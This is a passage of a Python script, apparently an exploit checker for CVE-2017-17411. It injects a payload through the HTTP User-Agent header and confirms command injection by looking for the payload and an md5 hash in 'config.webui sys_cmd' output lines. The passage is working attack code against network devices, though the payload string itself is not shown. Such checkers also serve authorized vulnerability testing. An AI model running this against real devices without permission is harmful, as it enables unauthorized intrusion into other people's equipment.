    resp = send_http_request(url, payload)
 
    if not resp:
        return False
 
    lines = resp.text.splitlines()
    sys_cmds = filter(lambda x: "config.webui sys_cmd" in x, lines)
 
    if not any([payload in sys_cmd for sys_cmd in sys_cmds]):
        return False
 
    if not any([md5hash in sys_cmd for sys_cmd in sys_cmds]):
        return False
 
    print("[+] Target is exploitable by CVE-2017-17411 ")
    return True
 
 
def send_http_request(url, payload):
    headers = {
        'User-Agent': payload
    }
 
    response = None
    try:
        response = requests.get(url, headers=headers)
    except Exception as err:
        log.exception(err)
 
    return response
